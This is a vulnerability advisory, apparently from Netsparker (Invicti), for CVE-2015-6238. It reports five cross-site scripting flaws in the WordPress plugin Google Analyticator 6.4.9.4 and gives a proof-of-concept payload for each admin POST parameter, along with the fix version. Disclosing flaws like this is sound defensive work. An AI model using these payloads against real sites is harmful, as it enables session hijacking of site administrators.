Multiple Cross-site Scripting Vulnerabilities Identified in Google Analyticator
Information
Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Google Analyticator
Affected Software: Google Analyticator (WordPress Plugin)
Affected Versions: 6.4.9.4 and possibly below
Vendor Homepage: https://wordpress.org/plugins/google-analyticator/
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2015-6238
Invicti Advisory Reference: NS-15-013
Technical Details
Proof of Concept URLs for XSS in Google Analyticator 6.4.9.4:
URL: http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name: ga_adsense
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9)
URL: http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name: ga_admin_disable_DimentionIndex
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9)
URL: http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name: ga_downloads_prefix
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9)
URL: http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name: ga_downloads
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9)
URL: http://example.com/wordpress/wp-admin/admin.php?page=google-analyticator
Parameter Name: ga_outbound_prefix
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9)
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
14/08/2015 – First Contact
24/08/2015 – Vendor Fixed
24/08/2015 – Advisory Released
Solution
Update the plugin to the latest version (6.4.9.6). Download the latest version of the plugin from the following URL: https://downloads.wordpress.org/plugin/google-analyticator.6.4.9.6.zip
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
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